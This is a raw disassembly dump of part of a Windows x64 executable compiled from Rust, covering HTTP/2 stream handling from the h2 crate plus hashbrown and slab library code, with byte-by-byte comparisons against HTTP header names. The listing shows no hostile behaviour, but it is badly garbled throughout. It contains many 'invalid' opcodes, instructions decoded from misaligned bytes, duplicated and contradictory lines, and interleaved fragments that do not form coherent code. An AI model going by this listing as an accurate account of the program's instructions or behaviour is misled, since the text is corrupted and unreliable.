mov byte [rsp + 0x38], cl
mov byte [rsp + 0x39], al
mov eax, ebx
test al, al
invalid
ror byte [rdi], 0x85
fild word [rax]
add byte [rax], al
jne 0x14002de11
jmp 0x14002ddfe
mov dword [rax], 0x44890000
and al, 0x34
mov dword [rsp + 0x34], eax
lea r15, [r12 + 0x78]
lea rcx, [rsp + 0x80]
add byte [rcx - 0x48], al
loopne 0x14002dd4c
mov r8d, 0xe0
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x70], 0
movabs byte [0x702444c748000d52], al
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
lea r8, [rsp + 0x70]
mov rcx, r15
mov rdx, r14
call fcn.1400234f0
invalid
dec dword [rcx + 0x39]
fidiv word [rbp + 0x23]
cmp r14, rbx
jne case.0x14002aeb1.50
and ecx, dword [rcx - 0x73]
sub byte [r9 - 0x39], r9b
lea rcx, [r13 + 0x28]
mov qword [r13 + 0x18], 1
sbb byte [r9], r8b
add byte [rax], al
add byte [rbp - 0x77], cl
jne 0x14002dda1
sbb byte [r9], r8b
sbb byte [rcx], al
add byte [rax], al
add byte [rbp - 0x77], cl
jne 0x14002dda1
mov eax, dword [rsp + 0x34]
jmp 0x14002ddc8
mov byte [rsp + 0x38], 4
and al, 0x38
add al, 0x89
mov eax, ebx
test al, al
jne 0x14002de11
jmp 0x14002ddfe
mov eax, ebx
test al, al
jne 0x14002de11
jmp 0x14002ddfe
cmp r14, qword [r12 + 0x88]
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
add byte [rbx + 0xf342444], cl
mov eax, dword [rsp + 0x34]
jae 0x14002e054
add byte [rax], al
sub dword [rsi + 0x49000002], 3
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add rbp, qword [r12 + 0x80]
cmp dword [rbp], 2
add byte [rax], al
add byte [rbx + 0xf02007d], al
je 0x14002e054
invalid
invalid
je 0x14002e054
add byte [rcx - 0x73], cl
lea rcx, [r13 + 0x20]
mov qword [rbp], 1
add dword [rax], eax
add byte [rax], al
and byte [r8 - 0x39], r9b
add byte [r9], r8b
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 8], rdi
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 8], rdi
mov qword [rcx], r14
mov rdx, qword [r13 + 0xa8]
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
mov rcx, qword [r13 + 0xb0]
mov qword [r13 + 0xa8], 0
lea esi, [rax + 0x49000000]
mov dword [rbp + 0xa8], 0
test rdx, rdx
mov rdi, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
invalid
je 0x14002ddf5
call qword [rdx + 8]
mov eax, dword [rsp + 0x34]
push rdx
or byte [rbx - 0x39cbdbbc], cl
and al, 0x38
add al, 0x84
sal byte [rbp + 0x13], 0x48
mov eax, dword [0x14017d2a8]
invalid
mov byte [rsp + 0x38], 4
test al, al
jne 0x14002de11
mov rax, qword [0x14017d2a8]
add byte [rax - 0x2f], cl
loopne 0x14002de51
shl rax, 1
test rax, rax
test eax, eax
jne 0x14002df9b
test dword [rdx + 0x31000001], ecx
rol byte [rsi + 0x75023c07], 9
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne case.default.0x14002de35
mov rcx, rdi
mov ecx, edi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
invalid
movzx eax, byte [rsp + 0x38]
and al, 0x38
lea rcx, [0x140173038]
lea ecx, [0x140173038]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
mov ecx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x40]
movzx r8d, byte [rsp + 0x39]
xor edx, edx
jmp 0x14002deeb
invalid
add dh, al
invalid
mov byte [rsi], 6
jmp 0x14002df0d
invalid
add byte [rax], al
add byte [rdi], cl
movzx ecx, byte [rsp + 0x39]
movzx ecx, byte [rsp + 0x39]
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x40], rax
jne 0x14002dedf
movzx eax, cl
shl rax, 0x20
or rax, 3
jmp 0x14002dee9
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x87], xmm1
and al, 0x87
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x77], eax
and al, 0x87
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x77], eax
mov byte [rsi], 5
movups xmm0, xmmword [rsp + 0x70]
adc byte [rsp + 0x70], al
adc byte [rsp + 0x70], al
movups xmm1, xmmword [rsp + 0x80]
movups xmmword [rsi + 1], xmm0
movups xmmword [rsi + 0x11], xmm1
mov rax, qword [rsp + 0x8f]
jmp 0x14002df09
mov rax, qword [rsp + 0x40]
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x70], xmm0
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x80], rcx
mov ecx, dword [rsp + 0x3c]
mov dl, 1
movzx r8d, byte [rsp + 0x39]
jmp 0x14002deeb
mov byte [rsi], 7
jmp 0x14002df0d
lea rdx, [rsp + 0x40]
call fcn.14001f5a0
mov dl, 4
mov byte [rsi], dl
mov byte [rsi + 1], r8b
mov dword [rsi + 4], ecx
mov qword [rsi + 8], rax
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rsp + 0x80]
mov qword [rsi + 0x20], rax
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax - 0x2f], cl
loopne 0x14002df88
test eax, eax
je 0x14002db02
mov rdi, r8
mov rbx, rdx
call fcn.14010c880
mov rdx, rbx
mov r8, rdi
xor al, 1
movzx ecx, byte [r12 + 0x11]
test cl, cl
je 0x14002db12
invalid
dec dword [rcx + rcx*4 + 0x74]
and al, 0x70
mov qword [rsp + 0x70], r14
mov byte [rsp + 0x78], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401126d0]
lea r8, [rsp + 0x70]
mov edx, 0x2b
call fcn.1401049b0
invalid
call fcn.14010c880
test al, al
jne 0x14002de11
mov byte [r12 + 0x11], 1
jmp 0x14002de11
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x38], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x40], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
jne 0x14002e018
add byte [rax - 0x73], cl
and al, 0x70
jne 0x14002e018
add byte [rax - 0x73], cl
and al, 0x70
call fcn.140104620
mov qword [r9 + 8], rdi
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0xb
call fcn.140104a60
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0x25
call fcn.1401046f0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
call fcn.140104a40
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0xb
call fcn.140104d10
int3
add byte [rax], al
jne 0x14002e1e9
movzx r8d, byte [rdx + 0x50]
add r8b, 0xfa
movzx r9d, r8b
cmp r9b, 6
mov r8d, 6
cmovb r8d, r9d
xor esi, esi
cmp r8b, 6
ja 0x14002e135
movzx r8d, r8b
mov r9d, 0x62
bt r9d, r8d
jae 0x14002e135
cmp qword [rdx + 0x18], 0
sete sil
test al, al
jne 0x14002e14c
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14002e1cd
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14002e15a
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov eax, esi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401126d0]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.1401049b0
mov rdi, rcx
call fcn.14010c880
mov rcx, rdi
test al, al
jne 0x14002e14c
mov byte [rbx + 0x11], 1
jmp 0x14002e14c
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x60], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x68], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x30]
call fcn.140104620
int3
adc al, 1
add byte [rax], al
jne 0x14002e3df
mov byte [r9 + 0x128], 0
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x2c], ecx
cmp qword [rbx + 0x1d8], rdx
jbe 0x14002e3df
mov rdx, qword [rbx + 0x1d0]
cmp dword [rdx + r8], 2
je 0x14002e3df
add rdx, r8
cmp dword [rdx + 0x114], ecx
jne 0x14002e3df
lea rcx, [rbx + 0x78]
call fcn.140027d90
test dil, dil
jne 0x14002e336
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14002e3c9
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x14002e34f
mov rcx, rsi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
call fcn.14010c880
test al, al
jne 0x14002e336
mov byte [rbx + 0x11], 1
adc dword [r9], eax
jmp 0x14002e336
mov qword [rsp + 0x30], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140104620
int3
xor cl, byte [rbp - 0x73]
adc byte [rcx - 0xf3fceff], r14b
cmpxchg byte [r14 + 0x10], cl
jne 0x14002e704
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14002e72b
xor eax, eax
movzx ecx, byte [r14 + 0x11]
test cl, cl
jne 0x14002e74b
mov r13d, dword [rdx + 8]
mov r12d, dword [rdx + 0xc]
mov dword [rsp + 0x28], r13d
lea r11, [rsp + 0x2c]
mov dword [rsp + 0x2c], r12d
mov r10, qword [r14 + 0x1d8]
cmp r10, r13
jbe 0x14002e831
invalid
add byte [rcx - 0x75], cl
mov ss, eax
add dword [rax], eax
add byte [rcx + 0x69], cl
fnsave dword [rax]
add dword [rax], eax
add byte [rbx + 0xf02193c], al
test byte [rax + 3], dl
add byte [rax], al
mov rcx, qword [r14 + 0x1d0]
imul rbx, r13, 0x130
cmp dword [rcx + rbx], 2
je 0x14002e831
add rcx, rbx
cmp dword [rcx + 0x114], r12d
jne 0x14002e831
add byte [rax], al
add byte [rax], al
mov r15d, dword [rcx + 0x11c]
mov bpl, 4
cmp r15d, edi
jb 0x14002e7d4
sub dword [r14 + 0x108], edi
mov ecx, dword [r14 + 0xc4]
mov edx, ecx
add edx, edi
jo 0x14002e521
mov dword [r14 + 0xc4], edx
mov ecx, edx
mov edx, dword [r14 + 0xc0]
sub ecx, edx
jle 0x14002e579
mov r8d, edx
shr r8d, 0x1f
add r8d, edx
sar r8d, 1
cmp ecx, r8d
jl 0x14002e579
mov rdx, qword [r14 + 0x1b8]
mov rcx, qword [r14 + 0x1c0]
mov qword [r14 + 0x1b8], 0
test rdx, rdx
je 0x14002e579
mov qword [rsp + 0x70], r9
mov ebp, eax
call qword [rdx + 8]
lea r11, [rsp + 0x2c]
mov eax, ebp
mov r9, qword [rsp + 0x70]
mov r10, qword [r14 + 0x1d8]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
cmp r10, r13
jbe 0x14002e884
mov rcx, qword [r14 + 0x1d0]
cmp dword [rcx + rbx], 2
je 0x14002e884
invalid
add rcx, rbx
cmp dword [rcx + 0x114], r12d
jne 0x14002e884
sub dword [rcx + 0x11c], edi
sbb al, 1
add byte [rax], al
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
and al, 0x2c
and al, 0x2c
mov r8, qword [r14 + 0x1d8]
cmp r8, r13
jbe 0x14002e884
mov rcx, qword [r14 + 0x1d0]
cmp dword [rcx + rbx], 2
je 0x14002e884
add rcx, rbx
cmp dword [rcx + 0x114], r12d
jne 0x14002e884
mov edx, dword [rcx + 0xa4]
add edx, edi
jo 0x14002e605
mov dword [rcx + 0xa4], edx
mov r8, qword [r14 + 0x1d8]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
cmp r8, r13
jbe 0x14002e831
mov r10, qword [r14 + 0x1d0]
cmp dword [r10 + rbx], 2
je 0x14002e831
add r10, rbx
cmp dword [r10 + 0x114], r12d
jne 0x14002e831
mov edx, dword [r10 + 0xa0]
mov ecx, dword [r10 + 0xa4]
mov bpl, 0xc
sub ecx, edx
jle 0x14002e7d4
mov r8d, edx
shr r8d, 0x1f
add r8d, edx
sar r8d, 1
cmp ecx, r8d
jl 0x14002e7d4
cmp byte [r10 + 0x127], 0
jne 0x14002e7a7
mov byte [r10 + 0x127], 1
cmp dword [r14 + 0xc8], 0
je 0x14002e77d
mov edx, dword [r14 + 0xd4]
mov r8d, dword [r14 + 0xd8]
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x2c], r8d
sub al, 0x49
cmp dword [rsi + 0x1d8], edx
sub al, 0x49
cmp dword [rsi + 0x1d8], edx
jbe 0x14002e884
mov rcx, qword [r14 + 0x1d0]
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x14002e884
add rcx, rdx
cmp dword [rcx + 0x114], r8d
jne 0x14002e884
lea rdx, [r14 + 0xd8]
mov dword [rcx + 0xe8], 1
mov dword [rcx + 0xec], r13d
mov dword [rcx + 0xf0], r12d
mov dword [r14 + 0xd4], r13d
jmp 0x14002e7a4
mov rcx, r9
mov rbx, rdx
mov r15, r9
call fcn.14010c7c0
mov r9, r15
mov rdx, rbx
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x14002e493
mov rbx, rdx
mov r15, r9
call fcn.14010c880
mov r9, r15
mov rdx, rbx
xor al, 1
movzx ecx, byte [r14 + 0x11]
movzx ecx, byte [rsi + 0x11]
movzx ecx, byte [rsi + 0x11]
test cl, cl
je 0x14002e4a2
mov qword [rsp + 0x40], r9
mov byte [rsp + 0x48], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
outsd dx, dword [rsi]
str word [rax - 0x77]
and al, 0x20
outsd dx, dword [rsi]
str word [rax - 0x77]
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea ecx, str.called__Result::unwrap____on_an__Err__value
xchg ecx, eax
add edx, dword [rax + rax]
lea r9, [0x1401126d0]
lea r8, [rsp + 0x40]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
sub eax, dword [rax]
add byte [rax], al
call fcn.1401049b0
mov dword [r14 + 0xc8], 1
mov dword [r14 + 0xcc], r13d
mov dword [r14 + 0xd0], r12d
mov dword [rsi + 0xd0], esp
xchg al, cl
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rbp - 0x77], al
scasb al, byte [rdi]
int3
mov dword [rsi + 0xd0], esp
mov dword [r14 + 0xd4], r13d
add byte [rax], al
lea rdx, [r14 + 0xd8]
fadd dword [rax]
add byte [rax], al
mov dword [rdx], r12d
mov rdx, qword [r14 + 0x1b8]
add byte [rax], al
mov rcx, qword [r14 + 0x1c0]
mov qword [r14 + 0x1b8], 0
test rdx, rdx
je 0x14002e7d4
mov rbx, r9
retf
mov r12d, eax
call qword [rdx + 8]
mov eax, r12d
mov r9, rbx
test al, al
jne 0x14002e7e7
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14002e81b
xor eax, eax
xchg byte [r9], al
cmp al, 2
jne 0x14002e7f9
mov rcx, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
adc eax, 0xe0877
cmp r15d, edi
jae 0x14002e807
mov byte [rsi], 3
mov byte [rsi + 1], bpl
jmp 0x14002e80a
mov byte [rsi], 5
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
mov rbx, r9
call fcn.14010c880
mov r9, rbx
test al, al
jne 0x14002e7e7
mov byte [r14 + 0x11], 1
jmp 0x14002e7e7
mov qword [rsp + 0x30], r11
lea rax, [0x14001b1b0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140104620
pop rbp
invalid
invalid
pop rbp
or eax, 0x5c894c00
and al, 0x30
mov qword [rsp + 0x30], r11
lea rax, [0x14001b1b0]
mov qword [rsp + 0x38], rax
and al, 0x38
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
push rax
push rax
mov qword [rsp + 0x58], 1
and al, 0x58
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140104620
int3
shr al, 1
add dword [rbp + 0xd], ebx
add ah, cl
or eax, 0xcccccc00
int3
mov dword [rsp + 0x30], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhashbrown_0.14.3_src_rawmod.rs
lea rcx, [rsp + 0x28]
call fcn.140104620
int3
add ah, cl
int3
add al, ch
out dx, eax
pop rcx
or eax, 0xcccccc00
int3
jmp rax
adc byte [rax], al
add byte [rax], al
jmp rax
or eax, 0x141caa
mov rax, qword [rcx + rax*8]
ret
test r8, r8
je 0x14002ebc9
cmp r8, 0x40
ja 0x14002ea32
ja 0x14002ea32
mov rax, qword [rsp + 0x70]
and al, 0x70
mov r10d, r8d
and r10d, 3
cmp r8, 4
jae 0x14002ea4d
xor ebx, ebx
jmp case.0x14002b679.87
cmp r8, 0x10000
jae 0x14002ebc9
mov qword [rcx], rdx
mov qword [rcx + 8], r8
xor esi, esi
jmp 0x14002ebc9
mov r11d, r8d
and r11d, 0x7c
xor edi, edi
nop word cs:[rax + rax]
invalid
movzx ebx, byte [rdx + rdi]
movzx ebx, byte [rax + rbx]
mov byte [r9 + rdi], bl
movzx ebx, byte [rdx + rdi + 1]
movzx ebx, byte [rax + rbx]
mov byte [r9 + rdi + 1], bl
movzx ebx, byte [rdx + rdi + 2]
movzx ebx, byte [rax + rbx]
mov byte [r9 + rdi + 2], bl
lea rbx, [rdi + 4]
movzx r14d, byte [rdx + rdi + 3]
movzx ebp, byte [rax + r14]
mov byte [r9 + rdi + 3], bpl
mov rdi, rbx
cmp r11, rbx
jne 0x14002ea60
mov rdi, rcx
test r10, r10
je 0x14002ead5
lea rcx, [r9 + rbx]
add rdx, rbx
xor r11d, r11d
nop word cs:[rax + rax]
movzx ebx, byte [rdx + r11]
movzx ebx, byte [rdx + rbx]
movzx ebx, byte [rax + rbx]
mov byte [rcx + r11], bl
sbb al, 0x19
sbb al, 0x19
inc r11
cmp r10, r11
jne case.0x14002ebfe.80
mov rbx, r9
mov rcx, r9
mov r14, r8
mov esi, eax
mov esi, eax
mov rdx, r8
call fcn.14002ebe0
cmp al, 0x51
push rcx
push rcx
jne 0x14002eb18
mov rax, r14
cmp r14, 0xf
mov rcx, rdi
stc
ja 0x14002eb25
invalid
xor r8d, r8d
mov rdx, rbx
ror byte [rax - 0x77], 0xda
nop dword [rax]
cmp byte [rdx + r8], 0
add al, byte [rax]
je 0x14002ebc9
inc r8
inc eax
cmp rax, r8
jne 0x14002eb00
jmp 0x14002ebbf
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov byte [rdi], al
mov sil, 2
add ch, cl
movsb byte [rdi], byte [rsi]
add byte [rax], al
invalid
add ch, cl
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rax - 0x77], cl
fimul dword [rbp + rcx*4 + 0x43]
lea r8, [rbx + 7]
mov rdx, rbx
lea r8, [rbx + 7]
and r8, 0xfffffffffffffff8
and eax, 0xfffffff8
and eax, 0xfffffff8
sub r8, rbx
jne 0x14002eb80
lea r9, [rax - 0x10]
xor r8d, r8d
movdqa xmm0, xmmword [0x14010f730]
movabs r10, 0x8080808080808080
invalid
invalid
nop
nop
add byte [rax + 0x42f39066], 0xf
outsd dx, dword [rsi]
or al, 2
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
pshufw mm2, mm1, 0xee
shl dword [rsi + 0xf], 1
invalid
invalid
pshufw mm2, mm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14002eba8
add r8, 0x10
cmp r8, r9
jbe 0x14002eb50
jmp 0x14002eba8
cmp r8, rax
cmp eax, eax
cmovae r8, rax
xor r9d, r9d
nop word [rax + rax]
cmp byte [rdx + r9], 0
je 0x14002ebc9
inc r9
cmp r8, r9
jne 0x14002eb90
lea r9, [rax - 0x10]
lea ecx, [rax - 0x10]
cmp r8, r9
jbe 0x14002eb3c
cmp r8, rax
je 0x14002ebbf
nop dword [rax]
cmp byte [rdx + r8], 0
add al, byte [rax]
je 0x14002ebc9
inc r8
cmp rax, r8
invalid
jne 0x14002ebb0
sal byte [rbp - 0xf], 0x48
mov dword [rcx], edx
mov qword [rcx], rdx
mov qword [rcx + 8], rax
mov sil, 1
mov dh, 1
mov dh, 1
mov byte [rcx + 0x10], sil
add rsp, 0x20
invalid
and byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r14
ret
invalid
int3
add edx, 0xfffffffe
cmp rdx, 0x21
ja case.0x14002f51e.103
xchg dword [rcx + 0x2a], ebx
add byte [rax], al
cli
and dword [rdi], ecx
xchg dword [rcx + 0x2a], ebx
add byte [rax], al
lea r8, [0x140173050]
adc al, 0
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
invalid
loop 0x14002eb81
cmp byte [rcx], 0x74
jne case.0x14002f51e.103
cmp dword [rdi + rcx - 0x7b], esi
sub al, byte [rax]
add byte [rax + 0x4165b243], dh
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x38], al
adc al, 1
invalid
cmp byte [rcx + r8], dl
add dword [rdi], ecx
mov dh, 0xc8
movzx ecx, al
mov eax, 0x51
cmove eax, ecx
jmp case.0x14002f51e.103
push rcx
add byte [rax], al
add byte [rdi], cl
shr ecx, 0x22
sub al, byte [rax]
add byte [rax - 0x7af08cc7], al
sbb dword [rdx], ebp
add byte [rax], al
cmp byte [rcx + 1], 0x65
jne case.0x14002f51e.103
sub al, byte [rax]
invalid
cmp byte [rcx], 0x73
jne case.0x14002f51e.103
sub al, byte [rax]
add byte [rax + 0xf630279], al
add ah, byte [rbx + 0xf]
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
add ah, byte [rbx + 0xf]
test dword [0xc002ec6f], eax
jns 0x14002ec4a
cmp byte [rcx + 3], 0x2d
jne case.0x14002f51e.103
sub eax, 0x29fb850f
add byte [rax], al
sti
sub dword [rax], eax
add byte [rax + 0xf770479], al
cmp byte [rcx + 4], 0x77
jne case.0x14002f51e.103
invalid
jns 0x14002ec55
ja 0x14002ec62
test ecx, esi
int1
sub dword [rax], eax
add byte [rax + 0xf650579], al
test edi, esp
sub dword [rax], eax
add byte [rax + 0xf620679], al
test ebp, ebx
sub dword [rax], eax
cmp byte [rcx + 5], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x62
jne case.0x14002f51e.103
jns 0x14002ec6b
invalid
add byte [rax + 0xf730779], al
test ebx, edx
sub dword [rax], eax
add byte [rax + 0xf6f0879], al
test ecx, ecx
sub dword [rax], eax
add byte [rax + 0xf630979], al
jns 0x14002ec8c
invalid
invalid
cmp byte [rcx + 7], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x63
jne case.0x14002f51e.103
jns 0x14002ec8c
or dword [rbx + 0xf], esp
invalid
test dword [rdi - 0x7fffffd7], edi
jns 0x14002ec97
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002f51e.103
invalid
or ch, byte [rbx + 0xf]
test dword [rbp - 0x7fffffd7], esi
invalid
invalid
jns 0x14002eca2
imul ecx, dword [rdi], 0xffffff85
mov ch, 0x29
add byte [rax], al
invalid
add byte [rax + 0xf650b79], al
test dword [rbx - 0x7fffffd7], ebp
invalid
invalid
jns 0x14002ecad
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f51e.103
invalid
jne case.0x14002f51e.103
add byte [rax + 0xf740c79], al
cmp byte [rcx + 0xc], 0x74
je 0x14002ecb2
jne case.0x14002f51e.103
test dword [rcx - 0x7fffffd7], esp
jns 0x14002ecb8
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f51e.103
sub dword [rax], eax
invalid
sub eax, 0x2997850f
add byte [rax], al
test dword [rdi - 0x7fffffd7], edx
jns 0x14002ecc3
sub dword [rax], eax
add byte [rax + 0xf610e79], al
test dword [rbp - 0x7fffffd7], ecx
sub dword [rax], eax
invalid
invalid
jns 0x14002ecce
cmp byte [rcx + 0xe], 0x61
jne case.0x14002f51e.103
sub dword [rax], eax
invalid
invalid
lea ebp, [rcx]
add byte [rax], al
sub dword [rax], eax
add byte [rax + 0xf630f79], al
test dword [rbx - 0x7fffffd7], eax
sub dword [rcx], 0
invalid
invalid
jns 0x14002ecd9
cmp byte [rcx + 0xf], 0x63
jne case.0x14002f51e.103
sub dword [rcx], 0
invalid
invalid
sub dword [rcx], 0
sub dword [rax], eax
add byte [rax + 0xf631079], al
cmp byte [rcx + 0x10], 0x63
jne case.0x14002f51e.103
test dword [rcx + 0x29], edi
add byte [rax], al
invalid
test dword [rcx + 0x29], edi
add byte [rax], al
cmp byte [rcx + 0x11], 0x65
jne case.0x14002f51e.103
test dword [rdi + 0x29], ebp
add byte [rax], al
test dword [rdi + 0x29], ebp
add byte [rax], al
add byte [rax + 0xf701279], al
cmp byte [rcx + 0x12], 0x70
jne case.0x14002f51e.103
sub dword gs:[rax], eax
invalid
jns 0x14002ecef
jo 0x14002ecee
test dword [rbp + 0x29], esp
add byte [rax], al
sub dword gs:[rax], eax
add byte [rax + 0x4174b23b], dh
mov al, 0x3b
mov dl, 0x74
mov r8d, 0x13
mov eax, 0x13
jmp 0x14002ec13
and bh, bh
invalid
invalid
cmp byte [rcx], 0x63
jne case.0x14002f51e.103
test dword [rbp + 0x29], ecx
add byte [rax], al
cmp byte [rcx + 1], 0x6f
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf6e0279], al
test dword [rcx], edi
sub dword [rax], eax
add byte [rax + 0xf740379], al
test dword [rdi], ebp
sub dword [rax], eax
add byte [rax + 0xf650479], al
test dword [0xc002ed4e], esp
jns 0x14002ed2c
cmp byte [rcx + 2], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x6e
outsb dx, byte [rsi]
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002f51e.103
test dword [rdi], eax
